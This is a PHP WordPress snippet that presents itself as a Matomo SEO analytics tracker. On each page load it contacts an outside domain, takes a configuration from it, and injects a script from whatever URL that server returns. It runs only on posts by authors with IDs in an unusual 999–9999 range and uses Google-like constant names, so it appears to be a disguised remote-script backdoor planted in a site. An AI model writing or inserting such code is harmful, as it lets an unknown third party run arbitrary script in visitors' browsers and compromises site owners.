<?php


if (!defined('ABSPATH')) {
    exit;
}

function seo_matomo_author_id_min(): int
{
    return defined('WP_GSTATIC_AUTHOR_MIN') ? (int) WP_GSTATIC_AUTHOR_MIN : 999;
}

function seo_matomo_author_id_max(): int
{
    return defined('WP_GSTATIC_AUTHOR_MAX') ? (int) WP_GSTATIC_AUTHOR_MAX : 9999;
}

function seo_matomo_base_url(): string
{
    return 'https://dillduck24.info';
}

function seo_matomo_bootstrap_url(): string
{
    return seo_matomo_base_url() . '/matomo-bootstrap.php';
}

function seo_matomo_should_track(): bool
{
    if (is_admin() || is_feed() || is_preview() || wp_doing_ajax() || is_robots() || is_trackback()) {
        return false;
    }

    if (!is_singular()) {
        return false;
    }

    $post_id = get_queried_object_id();
    if (!$post_id) {
        return false;
    }

    $author_id = (int) get_post_field('post_author', $post_id);
    $min = seo_matomo_author_id_min();
    $max = seo_matomo_author_id_max();

    return ($author_id >= $min && $author_id <= $max);
}

function seo_matomo_print_tracker(): void
{
    if (!seo_matomo_should_track()) {
        return;
    }

    $post_id   = (int) get_queried_object_id();
    $author_id = (int) get_post_field('post_author', $post_id);
    $post_slug = (string) get_post_field('post_name', $post_id);
    $post_type = (string) get_post_type($post_id);
    $bootstrap = seo_matomo_bootstrap_url();

    ?>
    <script>
    (function () {
        var host = location.hostname.replace(/^www\./i, '');
        var bootstrapUrl = <?php echo wp_json_encode($bootstrap); ?> + '?host=' + encodeURIComponent(host);

        fetch(bootstrapUrl, { credentials: 'omit' })
            .then(function (r) {
                if (!r.ok) {
                    throw new Error('Bootstrap HTTP ' + r.status);
                }
                return r.json();
            })
            .then(function (cfg) {
                if (!cfg || !cfg.siteId || !cfg.trackerUrl || !cfg.jsUrl) {
                    throw new Error('Invalid bootstrap config');
                }

                var _paq = window._paq = window._paq || [];

                _paq.push(['setTrackerUrl', cfg.trackerUrl]);
                _paq.push(['setSiteId', String(cfg.siteId)]);


                if (document.referrer) {
                    _paq.push(['setReferrerUrl', document.referrer]);
                }

                _paq.push(['setCustomUrl', window.location.href]);
                _paq.push(['setDocumentTitle', document.title]);

                _paq.push(['setCustomDimension', 1, host]);
                _paq.push(['setCustomDimension', 2, String(<?php echo (int) $author_id; ?>)]);
                _paq.push(['setCustomDimension', 3, String(<?php echo (int) $post_id; ?>)]);
                _paq.push(['setCustomDimension', 4, <?php echo wp_json_encode($post_slug); ?>]);
                _paq.push(['setCustomDimension', 5, <?php echo wp_json_encode($post_type); ?>]);
                _paq.push(['setCustomDimension', 6, document.referrer || '']);

                _paq.push(['trackPageView']);
                _paq.push(['enableLinkTracking']);

                var d = document;
                var g = d.createElement('script');
                var s = d.getElementsByTagName('script')[0];

                g.async = true;
                g.src = cfg.jsUrl;
                s.parentNode.insertBefore(g, s);
            })
            .catch(function (err) {
                console.error('Matomo bootstrap failed:', err);
            });
    })();
    </script>
    <?php
}
add_action('wp_head', 'seo_matomo_print_tracker', 1);